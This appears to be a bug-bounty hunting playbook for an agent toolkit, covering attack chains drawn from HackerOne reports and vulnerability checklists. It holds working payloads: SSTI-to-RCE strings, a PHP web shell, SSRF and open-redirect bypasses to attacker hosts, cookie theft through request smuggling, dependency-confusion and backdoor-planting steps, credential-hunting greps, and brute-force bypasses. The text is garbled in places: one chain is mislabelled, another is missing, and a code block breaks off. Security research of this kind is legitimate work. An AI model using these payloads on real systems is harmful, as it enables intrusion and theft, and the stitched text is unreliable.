python3 tools/hunt.py --target T --active --json 2>/dev/null > state/sessions/T/findings_structured.json

# Agent isolation check — verify every agent stayed in bounds
python3 tools/agent_isolation.py state/sessions/T/findings_structured.json --target T

# Build chains
python3 -c "
import json
from tools.kill_chain import KillChainBuilder
f = json.load(open('state/sessions/T/findings_structured.json'))
builder = KillChainBuilder('T')
chains = builder.build_all_chains(f['findings'])
# Chains with score > 0.6 are viable
for c in chains:
    if c.match_score >= 0.6:
        print(f'{c.pattern.chain_id}: {c.pattern.name} ({c.combined_severity})')
"

# Coverage analysis
python3 -c "
import json
from tools.adversary_emulation import AdversaryEmulation
f = json.load(open('state/sessions/T/findings_structured.json'))
emu = AdversaryEmulation('T')
for finding in f['findings']:
    emu.classify_finding(finding)
cov = emu.compute_coverage(agents_deployed=['web-api-agent'], findings=f['findings'])
print(f'Coverage gaps: {len(cov.gaps)}')
"
```

## AUTH-AWARE HUNTING

Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in.

```bash
# Pick ONE:
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json
```

**For IDOR / BOLA hunts**, load two sessions and diff behavior:

```bash
python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json
```

**Safety**: cookies/tokens never appear in logs, hunt-memory, or `repr()`. Only a 12-char `session_id` hash is recorded. `.private/` is gitignored.

---

## A→B BUG SIGNAL METHOD (Cluster Hunting)

**When you find bug A, systematically hunt for B and C nearby.** Single bugs pay. Chains pay 3-10x more.

### Known A→B→C Chains

| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|----------------|---------------|---------------|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil → RCE |
| XSS (stored) | Check HttpOnly on session cookie | Session hijack → ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft → ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret → OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential → infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |

### Cluster Hunt Protocol

```
1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
```

## H100 PROVEN A→B CHAINS (From HackerOne Top 100 Upvoted)

These are not theoretical. Every chain below was reported, triaged, and paid.

### Chain 1: HTTP Smuggling → Session Hijack → Mass ATO
**Source:** Slack #737140 ($0, 866uv), Zomato #771666, New Relic #498052 ($3K)
```
1. Find CL.TE desync on subdomain behind Akamai/Cloudflare
2. Craft smuggled request that forces victim into 301 redirect
3. Redirect points to Burp Collaborator / attacker server
4. Victim's browser follows redirect WITH session cookies attached
5. Steal d cookie / session token from Collaborator logs
6. Impersonate victim — full account access
```
**Key detail:** Target subdomains with "b" suffix (slackb.com) — often less hardened than main domain.

### Chain 2: Cache Poisoning → Stored XSS on Auth Pages
**Source:** PayPal #488147 ($18.9K) + #510152 ($20K, 2679uv)
```
1. Find unkeyed header (X-Forwarded-Host, X-Original-URL) reflected in response
2. Poison CDN cache with XSS payload in that header
3. Cached page served to ANY user visiting paypal.com/signin
4. CSP bypass via older jQuery library on paypalobjects.com
5. jQuery selector gadget converts <script> tag to executable code
6. Session tokens / credentials stolen from login page context
```
**Key detail:** Even with CSP, jQuery + 'unsafe-eval' = CSP bypass. Search for older JS libraries in scope domains.

### Chain 3: Email Confirmation Bypass → SSO Takeover → Full Store Compromise
**Source:** Shopify #791775 ($0, 1913uv) + #796808 ($0, 894uv) + #910300 ($0, 559uv)
```
1. Create trial account with your email
2. Change email to victim's email in profile
3. Confirmation link sent to YOUR email (not victim's)
4. Confirm victim's email on your account
5. Use Shopify SSO — now your account "owns" victim's email
6. Set master password via SSO for all stores using that email
7. Full takeover of victim's Shopify stores
```
**Key detail:** The fix was incomplete 3 times. Always re-test after patches.

### Chain 4: Leaked GitHub Token → Repo Access → Supply Chain
**Source:** Shopify #1087489 ($50K, 1544uv), Starbucks #716292, Snapchat #47
```
1. Download target's public app (Electron .asar, Android APK, iOS IPA)
2. Extract .env or config from packaged app
3. Find GitHub Personal Access Token
4. Test token: curl -H "Authorization: token TOKEN" https://api.github.com/user
5. If org member → read/write access to ALL private repos
6. Plant backdoor in source code → downstream users compromised
```
**Key detail:** Always check compiled/packaged apps, not just source repos.

### Chain 5: SSRF → Cloud Metadata → RCE
**Source:** Shopify #446585 ($11K), Snapchat #530974, Shopify #341876
```
1. Find SSRF (file import, image URL fetch, analytics reports)
2. Access AWS metadata: http://169.254.169.254/latest/meta-data/
3. Get IAM role credentials from metadata endpoint
4. Use credentials to access S3, internal APIs, or other cloud services
5. Pivot to RCE via CI/CD, Lambda, or internal admin panels
```

### Chain 6: npm/Supply Chain → RCE
**Source:** PayPal #925585 ($30K, 933uv), LY Corp #1043385 ($11.5K)
```
1. Enumerate target's npm dependencies (package.json, lock files)
2. Find internal package names (scoped @company/* or custom names)
3. Check if package exists on public npm registry
4. If not → publish malicious package with same name
5. Target's CI/CD installs package → arbitrary code execution
```
**Key detail:** Also works with Ruby gems, Python packages, Go modules.

### Chain 7: Git Flag Injection → File Overwrite → RCE
**Source:** GitLab #658013 ($12K, 777uv), #587854 ($12K, 542uv)
```
1. Craft malicious git repository with special filenames
2. Filename contains git flags: --template=/etc/cron.d/backdoor
3. Target imports the repository
4. Git processes the flag → overwrites system files
5. Write crontab, SSH keys, or web shell → RCE
```

### Chain 8: VPN/Infrastructure 1-Day → Pre-Auth RCE
**Source:** X/Twitter #591295 ($20.16K, 1239uv) — Orange Tsai
```
1. Monitor for CVE patches on VPN appliances (Pulse Secure, FortiGate)
2. Wait 30 days for targets to patch
3. Check if target still vulnerable: pulse_check.py target.com
4. CVE-2019-11510: pre-auth arbitrary file read → extract session DB
5. Bypass 2FA via "Roaming Session" feature (forge cookies)
6. SSRF to admin panel (WebVPN → proxy to itself)
7. Crack manager password hash (weak policy on admin accounts)
8. Command injection on admin interface → root RCE
```
**Key detail:** Monitor vendor advisories. Many orgs take 60-90 days to patch VPNs.

### Chain 9: Kubernetes API Exposed → Container RCE
**Source:** Snapchat #455645 ($25K, 1185uv)
```
1. Find exposed Kubernetes API server (often on non-standard port)
2. No authentication required
3. kubectl --server=https://target:6443 get pods
4. Execute into any running container
5. Full server access from within container
```

### Chain 10: GraphQL Missing Auth → Mass PII Exfil

```
1. Create issue with markdown image reference using path traversal
2. ![a](/uploads/aaaa...aaa/../../../../../../../../../../etc/passwd)
3. Move issue to another project
4. UploadsRewriter copies the file without path validation
5. Arbitrary file read: /etc/passwd, tokens, configs, database.yml
6. Escalate to RCE by reading SSH keys or database credentials
```

### Chain 12: SMTP/Email System → Credential Theft
**Source:** PayPal #739737 ($15.3K, 1408uv)
```
1. Trigger security challenge flow on PayPal
2. Intercept token in the challenge response
3. Token leaks victim's email AND plaintext password
4. Direct login with stolen credentials
```

## TOP 1% HACKER MINDSET

### Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

### Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked — controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?

### Trust Boundary Mapping
```
Client → CDN → Load Balancer → App Server → Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
```

### Key Mindset Rules
- **"Hunt the feature, not the endpoint"** — Find all endpoints that serve a feature, then test the INTERACTION between them
- **"Authorization inconsistency is your friend"** — If the app checks auth in 9 places but not the 10th, that's your bug
- **"New == unreviewed"** — Features launched in the last 30 days have lowest security maturity
- **"Follow the money"** — Any feature touching payments, billing, credits, refunds is where developers make security shortcuts
- **"The API the mobile app uses"** — Mobile apps often call older/different API versions with lower maturity
- **"Diffs find bugs"** — Compare old API docs vs new. Compare mobile API vs web API

## Credential Leak Hunting (H100 Pattern — 7 reports, $50K+ total)

5 of the Top 100 reports involved leaked credentials in code repos or build artifacts.

### Token Types That Pay

| Token Type | How to Find | Impact |
|------------|-------------|--------|
| GitHub Personal Access Token | `grep -r "ghp_\|github_pat_" --include="*.env" --include="*.json"` | Read/write all org repos |
| npm token | `grep -r "npm_" --include="*.npmrc" --include="*.env"` | Publish to org's npm scope |
| AWS Access Key | `grep -r "AKIA" --include="*.env" --include="*.py" --include="*.js"` | Full AWS access |
| Slack webhook | `grep -r "hooks.slack.com" --include="*.env" --include="*.yml"` | Post to any channel |
| Stripe key | `grep -r "sk_live_\|pk_live_" --include="*.env" --include="*.js"` | Payment processing |
| Docker Hub token | `grep -r "dckr_pat_" --include="*.env"` | Container registry access |
| Google API key | `grep -r "AIza" --include="*.env" --include="*.js"` | Various GCP services |

### Where to Find Leaked Tokens

**Public repos:**
```bash
# Search target's GitHub org for secrets
gh api -X GET "search/code?q=org:TARGET+filename:.env" --jq '.items[].repository.full_name'
gh api -X GET "search/code?q=org:TARGET+AKIA" --jq '.items[].html_url'

# Check for .env in compiled apps
asar extract app.asar /tmp/app
grep -r "TOKEN\|SECRET\|KEY\|PASSWORD" /tmp/app/
```

**Build logs:**
```bash
# Travis CI (Superhuman #496937 — $5K)
curl -s "https://api.travis-ci.org/repos/TARGET/REPO/builds" | jq '.[].config.raw_config'
# Look for: env.global with secrets, deploy section

# GitHub Actions logs
gh run list --repo TARGET/REPO --limit 5
gh run view RUN_ID --repo TARGET/REPO --log | grep -i "token\|secret\|key"
```

**Docker images:**
```bash
# Pull and inspect
docker pull TARGET/app:latest
docker run --rm -it TARGET/app:latest env
docker run --rm -it TARGET/app:latest cat /app/.env
```

### Token Validation PoC
```bash

# PHASE 2: LEARN (Pre-Hunt Intelligence)

## Disclosed Report Pipeline (knowledge.md)

At hunt start, ALWAYS check for disclosed reports on the target program:

```bash
# HackerOne Hacktivity for program
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'
```

### "What Changed" Method (Highest ROI)
1. Find disclosed report for similar tech → Get the fix commit → Read the diff → Identify the anti-pattern → Grep your target for that same anti-pattern

### 6 Key Patterns from Top Reports
1. **Feature Complexity = Bug Surface** — imports, integrations, multi-tenancy, multi-step workflows
2. **Developer Inconsistency = Strongest Evidence** — `timingSafeEqual` in one place, `===` elsewhere
3. **"Else Branch" Bug** — proxy/gateway passes raw token without validation in else path
4. **Import/Export = SSRF** — every "import from URL" feature has historically had SSRF
5. **Secondary/Legacy Endpoints = No Auth** — `/api/v1/` guarded but `/api/` isn't
6. **Race Windows in Financial Ops** — check-then-deduct as two DB operations = double-spend

## Threat Model Template
```
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___
```

---

# PHASE 3: HUNT

## Note-Taking System (Never Hunt Without This)
```markdown
# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
```

## Subdomain Type → Hunt Strategy
- **dev/staging/test**: Debug endpoints, disabled auth, verbose errors
- **admin/internal**: Default creds, IP bypass headers (`X-Forwarded-For: 127.0.0.1`)
- **api/api-v2**: Enumerate with kiterunner, check older unprotected versions
- **auth/sso**: OAuth misconfigs, open redirect in `redirect_uri`
- **upload/cdn**: CORS, path traversal, stored XSS

# VULNERABILITY HUNTING CHECKLISTS

## IDOR — #1 Most Paid Web2 Class

| Variant | What to Test |
|---------|-------------|
| V1: Direct | Change object ID in URL path `/api/users/123` → `/api/users/456` |
| V2: Body param | Change ID in POST/PUT JSON body `{"user_id": 456}` |
| V3: GraphQL node | `{ node(id: "base64(OtherType:123)") { ... } }` |
| V4: Batch/bulk | `/api/users?ids=1,2,3,4,5` — request multiple IDs at once |
| V5: Nested | Change parent ID: `/orgs/{org_id}/users/{user_id}` |
| V6: File path | `/files/download?path=../other-user/file.pdf` |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try `/api/v1/` same endpoint |
| V10: Header injection | `X-User-ID: victim_id`, `X-Org-ID: victim_org` |

### IDOR Testing Checklist
- [ ] Create two accounts (A = attacker, B = victim)
- [ ] Log in as A, perform all actions, note all IDs in requests
- [ ] Log in as B, replay A's requests with A's IDs using B's auth
- [ ] Try EVERY endpoint with swapped IDs — not just GET, also PUT/DELETE/PATCH
- [ ] Check API v1/v2 differences
- [ ] Check GraphQL schema for node() queries
- [ ] Check WebSocket messages for client-supplied IDs
- [ ] Test batch endpoints (can you request multiple IDs?)

### Scoping-Order Analysis (Existence Oracles & Validation Ordering)

Before testing object-level access controls, probe the **validation ordering** by sending requests with malformed parameters to existing vs non-existing objects:

| Status Code Delta | Cause | Vulnerability / Signal |
|-------------------|-------|------------------------|
| `400` vs `404` | Body validation runs before resource existence check | **Existence Oracle** (probe object existence pre-authz) |
| `415` vs `403` | Content-Type validation runs before authorization check | **Parser Differential** (unauthenticated schema probe) |
| `400` vs `403` | Body validation runs before authorization check | **Authz Bypass Potential** (manipulate body to bypass authz check) |

- **Existence Oracle:** If requesting a non-existent object returns `404` while an unauthorized existing object returns `400` (or `403`), attackers can enumerate valid resource IDs.
- **Timing deltas:** Compare response times between valid vs invalid resource IDs to identify blind existence/authz checking logic.

### Creating Test Accounts (Disposable Email & Phone)

IDOR needs two accounts. Most programs require email verification; some require SMS. Don't use your real accounts — you need burner identities you fully control.

**Disposable Email (for email verification):**
| Service | Notes |
|---------|-------|
| [Guerrilla Mail](https://guerrillamail.com) | Inbox lasts 1 hour, custom addresses, API available |
| [Mailinator](https://mailinator.com) | Public inboxes, no signup, any @mailinator.com address works |
| [Temp-Mail](https://temp-mail.org) | Disposable inbox, mobile app available |
| [10MinuteMail](https://10minutemail.com) | Self-destructs after 10 min, extendable |
| [YOPmail](https://yopmail.com) | No registration, any @yopmail.com address, check any inbox |
| [Emailnator](https://emailnator.com) | Gmail-style inbox, longer-lived |

```bash
# Guerrilla Mail API — get inbox and fetch emails programmatically
curl -s "https://api.guerrillamail.com/ajax.php?f=get_email_address" | jq -r '.email_addr'
# Check inbox
curl -s "https://api.guerrillamail.com/ajax.php?f=check_email&seq=0" | jq '.list[] | "\(.mail_from): \(.mail_subject)"'
```

**Temporary Phone Numbers (for SMS verification):**
| Service | Notes |
|---------|-------|
| [SMSPool](https://smspool.net) | Paid, reliable, API, 100+ countries |
| [5SIM](https://5sim.net) | Paid, per-activation pricing, wide coverage |
| [TextVerified](https://textverified.com) | US numbers, per-verification pricing |
| [Quackr](https://quackr.io) | Free temporary numbers, limited availability |
| [ReceiveSMS](https://receivesms.co) | Free, public numbers, low reliability |
| [SMSTome](https://smstome.com) | Free, multiple countries, public inboxes |

**Workflow:**
```bash
# 1. Create Account A with disposable email
#    → Use Guerrilla Mail or Mailinator address
#    → Complete email verification
#    → If SMS required, use SMSPool or Quackr

# 2. Create Account B same way (different disposable address)

# 3. Login as A, populate account with data (orders, bookings, profile)

# 4. Login as B, replay A's requests using B's session:
curl -X GET "https://TARGET/api/v1/orders/ACCOUNT_A_ORDER_ID" \
  -H "Authorization: Bearer ACCOUNT_B_TOKEN"

# 5. If you can see A's data from B's session → IDOR confirmed
```

**Account creation tips:**
- Use `+` aliases on Gmail if the target doesn't block them: `you+accountA@gmail.com`, `you+accountB@gmail.com` — both deliver to the same inbox but look like different emails to most services
- Some programs detect disposable email domains — have a backup Gmail/Outlook ready
- For programs requiring phone + email, SMSPool is most reliable for the phone half
- Save all account credentials in your session notes — you'll need them when writing the PoC

## SSRF — Server-Side Request Forgery

### SSRF IP Bypass Table (11 Techniques)

| Bypass | Payload | Notes |
|--------|---------|-------|
| Decimal IP | `http://2130706433/` | 127.0.0.1 as single decimal |
| Hex IP | `http://0x7f000001/` | Hex representation |
| Octal IP | `http://0177.0.0.1/` | Octal 0177 = 127 |
| Short IP | `http://127.1/` | Abbreviated notation |
| IPv6 | `http://[::1]/` | Loopback in IPv6 |
| IPv6-mapped | `http://[::ffff:127.0.0.1]/` | IPv4-mapped IPv6 |
| Redirect chain | `http://attacker.com/302→169.254.169.254` | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external |
| URL encoding | `http://127.0.0.1%2523@attacker.com` | Parser confusion |
| Enclosed alphanumeric | `http://①②⑦.⓪.⓪.①` | Unicode numerals |
| Protocol smuggling | `gopher://127.0.0.1:6379/_INFO` | Redis/other protocols |

### SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (RCE on cloud)
- Docker API accessible = Critical (direct RCE)

### Cloud Metadata Endpoints
```bash
# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (needs Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs Metadata: true)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

## OAuth / OIDC
- [ ] Missing `state` parameter → CSRF
- [ ] `redirect_uri` accepts wildcards → ATO
- [ ] Missing PKCE → code theft
- [ ] Implicit flow → token leakage in referrer
- [ ] Open redirect in post-auth redirect → OAuth token theft chain

### Open Redirect Bypass Table (11 Techniques)

| Bypass | Payload | Notes |
|--------|---------|-------|
| Double URL encoding | `%252F%252F` | Decodes to `//` after double decode |
| Backslash | `https://target.com\@evil.com` | Some parsers normalize `\` to `/` |
| Missing protocol | `//evil.com` | Protocol-relative |
| @-trick | `https://target.com@evil.com` | target.com becomes username |
| Protocol-relative | `///evil.com` | Triple slash |
| Tab/newline injection | `//evil%09.com` | Whitespace in hostname |
| Fragment trick | `https://evil.com#target.com` | Fragment misleads validation |
| Null byte | `https://evil.com%00target.com` | Some parsers truncate at null |
| Parameter pollution | `?next=target.com&next=evil.com` | Last value wins |
| Path confusion | `/redirect/..%2F..%2Fevil.com` | Path traversal in redirect |
| Unicode normalization | `https://evil.com/target.com` | Visual confusion |

## File Upload Bypass Table

| Bypass | Technique |
|--------|-----------|
| Double extension | `file.php.jpg`, `file.php%00.jpg` |
| Case variation | `file.pHp`, `file.PHP5` |
| Alternative extensions | `.phtml`, `.phar`, `.shtml`, `.inc` |
| Content-Type spoof | `image/jpeg` header with PHP content |
| Magic bytes | `GIF89a; <?php system($_GET['c']); ?>` |
| .htaccess upload | `AddType application/x-httpd-php .jpg` |
| SVG XSS | `<svg onload=alert(1)>` |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | `../../etc/cron.d/shell` in filename inside archive |

## Race Conditions
- [ ] Coupon codes / promo codes — can same code be used multiple times?
- [ ] Gift card redemption — concurrent redemptions
- [ ] Fund transfer / withdrawal — double-spend check-then-deduct
- [ ] Voting / rating limits — race past the rate limit
- [ ] OTP verification brute via race

```bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
```

### Turbo Intruder — Single-Packet Attack (All Requests Arrive Simultaneously)
```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)
```

## XSS — Cross-Site Scripting

### XSS Sinks (grep for these)
```javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
```

### XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass → Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain

## Business Logic
- [ ] Negative quantities in cart
- [ ] Price parameter tampering
- [ ] Workflow skip (e.g., pay without checkout)
- [ ] Role escalation via registration fields
- [ ] Privilege persistence after downgrade

## SQL Injection

### Detection
```sql
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
'; SELECT 1/0--    -- divide by zero error reveals SQLi
```

### Modern SQLi WAF Bypass
```sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
```

## GraphQL
- [ ] Introspection: `{ __schema { types { name fields { name type { name } } } } }`
- [ ] Missing field-level auth: `{ node(id: "base64encoded") { ... on User { email ssn } } }`
- [ ] Batching attack (rate limit bypass): send 100 login attempts in one JSON array
- [ ] Alias-based brute: send same query with 100 aliases

### GraphQL — H100 Exploited Patterns

**Pattern 1: Missing field-level auth → Mass PII (HackerOne #489146, #792927, #2032716)**
```graphql
# Introspection — find sensitive types
{ __schema { types { name fields { name type { name } } } } }

# Query private user data without auth
{ node(id: "base64(UserType:123)") { ... on User { email name } } }

# Email enumeration via mutation
mutation { SaveCollaboratorsMutation(input: {report_id: "1", usernames: ["victim"]}) { user { email } } }
```

**Pattern 2: GraphQL batching → Rate limit bypass**
```json
[
  {"query": "mutation { login(email:\"a@test.com\",password:\"pass1\") { token } }"},
  {"query": "mutation { login(email:\"a@test.com\",password:\"pass2\") { token } }"},
  ... (1000 copies)
]
```

**Pattern 3: Alias-based brute force**
```graphql
query {
  a1: login(email: "user@test.com", password: "pass1") { token }
  a2: login(email: "user@test.com", password: "pass2") { token }
  a3: login(email: "user@test.com", password: "pass3") { token }
  # ... 100 aliases in single query
}
```

**Pattern 4: Report data leak via GraphQL (HackerOne platform itself)**
```graphql
# Leak private program details
{ PolicyPageAssetGroupsIndex(id: "gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/123") { ... } }

# Leak report attributes
{ report(id: 123) { title vulnerability_information created_at } }
```

## Cache Poisoning / Web Cache Deception
- [ ] Test `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL` — unkeyed headers reflected in response
- [ ] Parameter cloaking (`?param=value;poison=xss`)
- [ ] Fat GET (body params on GET requests)
- [ ] Web cache deception (`/account/settings.css` — trick cache into storing private response)

## HTTP Request Smuggling
- [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
- [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
- [ ] H2.CL: HTTP/2 downgrade smuggling
- [ ] TE obfuscation: `Transfer-Encoding: xchunked`, tab prefix, space prefix

### CL.TE Example
```http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```
Frontend reads Content-Length: 13 → sends all. Backend reads Transfer-Encoding → sees chunk "0" = end → "SMUGGLED" left in buffer → next user's request poisoned.

### HTTP Smuggling → Mass Session Hijack (H100 Pattern)

All 4 smuggling reports in the Top 100 used the same chain: desync → redirect → cookie theft.

**Target selection:**
- Subdomains with "b" suffix: slackb.com, admin-official.line.me (often less hardened)
- Endpoints behind CDN/reverse proxy (Akamai, Cloudflare, nginx)
- Login/authentication endpoints that issue session cookies on redirect

**The PoC pattern (Slack #737140):**
```
1. CL.TE desync on slackb.com
2. Smuggled request forces victim into GET https:// HTTP/1.1
3. Backend responds with 301 redirect to https://
4. Victim's browser follows redirect WITH Slack d cookie
5. Redirect target = Burp Collaborator
6. Collect session cookies from Collaborator
7. Impersonate any Slack user
```

**Testing checklist:**
- [ ] Send request with both Content-Length and Transfer-Encoding headers
- [ ] Use Burp Repeater "Send group in sequence" to test desync
- [ ] Monitor Burp Collaborator for incoming requests from other IPs
- [ ] Check if response timing differs between smuggled vs normal requests
- [ ] Test on subdomains, not just main domain

### Cache Poisoning → Stored XSS on Sensitive Pages (H100 Pattern)

PayPal's two reports (#488147 + #510152) proved this chain pays $18-20K.

**Attack flow:**
```
1. Identify unkeyed header reflected in response
   - X-Forwarded-Host, X-Original-URL, X-Rewrite-URL
   - Test: send request with header=evil.com, check if response changes
2. Check if response is cached (Cache-Control, CDN headers, X-Cache)
3. Poison cache with XSS payload in the unkeyed header
4. Wait for victim to visit the same URL → served poisoned cached copy
5. XSS executes in victim's browser on the sensitive page
```

**CSP Bypass patterns (from PayPal):**
- Find older JS libraries on scope domains (jQuery < 3.0, Bootstrap < 3.4.1)
- jQuery selector gadget: `<script>` → jQuery converts to DOM element → executes
- 'unsafe-eval' in CSP + jQuery = direct script execution
- Search: `grep -r "jquery" --include="*.js" | sort` on scope domains

**High-value targets for cache poisoning:**
- Login pages (paypal.com/signin) — tokens, credentials in context
- Dashboard/admin pages — session tokens, user data
- Payment/checkout pages — financial data
- Settings/profile pages — PII, API keys

## Android / Mobile Hunting
- [ ] Certificate pinning bypass (Frida/objection)
- [ ] Exported activities/receivers (AndroidManifest.xml)
- [ ] Deep link injection
- [ ] Shared preferences / SQLite in cleartext
- [ ] WebView JavaScript bridge
- [ ] Mobile API often uses older/different API version than web

### Console / Desktop Client Hunting (H100 Pattern — Valve, PlayStation)

**4 reports in Top 100 targeted game/desktop clients for RCE:**

**Valve #470520: RCE via buffer overflow in Server Info**
- Game clients parse server info responses
- Crafted server info packet → buffer overflow → arbitrary code execution
- No auth required — victim just joins a game server

**PlayStation #873614: Websites Can Run Arbitrary Code on PS Now**
- Browser-based app has access to system-level APIs
- Malicious website → JavaScript execution → system command access
- Attack vector: shared links, in-game web views

**PlayStation #826026: Use-After-Free in IPV6_2292PKTOPTIONS**
- Kernel-level vulnerability in network stack
- Malformed IPv6 packet → UAF → arbitrary kernel read/write
- Fully pre-auth, no user interaction beyond network

**Testing checklist for client-side:**
- [ ] Download client app (APK, IPA, .exe, .dmg)
- [ ] Extract and analyze: `strings`, `nm`, `otool -L`
- [ ] Check for hardcoded endpoints, API keys, debug flags
- [ ] Fuzz custom protocol parsers (server info, chat, matchmaking)
- [ ] Test deep links / URI schemes for injection
- [ ] Check if app exposes local server/API without auth
- [ ] Test WebView JavaScript bridges
- [ ] Look for deserialization of untrusted data (config files, server responses)

## SSTI — Server-Side Template Injection

### Detection Payloads
```
{{7*7}}          → 49 = Jinja2 / Twig / generic
${7*7}           → 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       → 49 = ERB (Ruby)
#{7*7}           → 49 = Mako / some Ruby
*{7*7}           → 49 = Spring (Thymeleaf)
{{7*'7'}}        → 7777777 = Jinja2 (Twig gives 49)
```

### Where to Test
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results

### SSTI → RCE Payloads
```python
# Jinja2 (Python/Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
```php
# Twig (PHP/Symfony)
{{["id"]|filter("system")}}
```
```
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
```
```ruby
# ERB (Ruby on Rails)
<%= `id` %>
```

## LLM / AI Features (OWASP ASI01-ASI10)

| ID | Vuln Class | What to Test |
|----|-----------|-------------|
| ASI01 | Prompt injection | Override system prompt via user input |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts |
| ASI04 | Privilege escalation | Use AI to access admin-only tools |
| ASI05 | Indirect injection | Poison document/URL the AI processes |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation |
| ASI07 | Model DoS | Craft inputs causing infinite loops or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in output |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts |

**Triage rule:** ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

## Subdomain Takeover

```bash
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME"
# Look for: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
```

### Quick-Kill Fingerprints
```
"There isn't a GitHub Pages site here"  → GitHub Pages
"NoSuchBucket"                          → AWS S3
"No such app"                           → Heroku
"404 Web Site not found"                → Azure App Service
```

